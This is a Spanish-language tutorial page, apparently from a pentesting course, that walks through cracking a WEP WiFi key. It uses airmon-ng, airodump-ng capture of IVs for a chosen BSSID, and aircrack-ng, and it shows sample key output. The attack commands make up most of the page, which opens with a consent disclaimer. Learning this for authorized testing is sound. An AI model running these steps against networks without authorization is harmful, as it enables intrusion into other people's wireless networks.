# Ataque a WEP

{% hint style="danger" %}
**Disclaimer:** Vamos a realizar ataques a redes WiFi, por lo que no podemos utilizar estas técnicas sin un consentimiento o aprobación por parte del objetivo
{% endhint %}

## <mark style="color:purple;">WEP Cracking</mark>&#x20;

Para lograr crackear una contraseña de una red WEP tenemos que:

* Capturar un gran número de paquetes IV´s
* Analizar los IV´s capturados y crackear la llave

### 1. Apagar adaptador wlan0

```bash
ifconfig wlan0 down
```

### 2. Iniciamos airmon-ng

```bash
sudo airmon-ng start wlan0
```

### 3. Encontrar al objetivo

```bash
sudo airodump-ng wlan0
```

<figure><img src="https://2648005400-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FRolFIJKRJaxKzAUqQKJb%2Fuploads%2FEaplXNuzbGsS3tWuxgOB%2Fimage.png?alt=media&#x26;token=fdf2362e-155e-4e13-a3a2-2c788f0af460" alt=""><figcaption></figcaption></figure>

### 4. Iniciar airodump

Debemos guardar la salida con `--write`

```bash
# 4 - Iniciamos airodump-ng y guardamos la salida
sudo airodump-ng --bssid 00:E0:4C:6A:5A:F8 --channel 11 --write basic_wifi wlan0
```

<figure><img src="https://2648005400-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FRolFIJKRJaxKzAUqQKJb%2Fuploads%2FgmPmAtMkuoVVld5AueIv%2Fimage.png?alt=media&#x26;token=008448d8-55e3-4a6f-9b28-e0c8cd66deec" alt=""><figcaption></figcaption></figure>

{% hint style="info" %}
**Nota:** Se debe generar la mayor cantidad de tráfico posible para que aircrack lo pueda crackear
{% endhint %}

{% hint style="warning" %}
**Importante**: no debemos detener airodump-ng mientras se ejecuta aircrack
{% endhint %}

### 5. Iniciar aircrack-ng

Abrir el archivo .cap

```bash
sudo aircrack-ng basic_wifi.cap
```

<figure><img src="https://2648005400-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FRolFIJKRJaxKzAUqQKJb%2Fuploads%2FaKlASDvzie57b5jPqp9H%2Fimage.png?alt=media&#x26;token=5a08c04c-0429-4c10-a156-710b5c36a478" alt=""><figcaption></figcaption></figure>

```
KEY FOUND! [12:34:56:78:90]
Password: 1234567890
```

Depende de la complejidad de las contraseñas necesitaremos más IV´s para poder desencriptarlo.

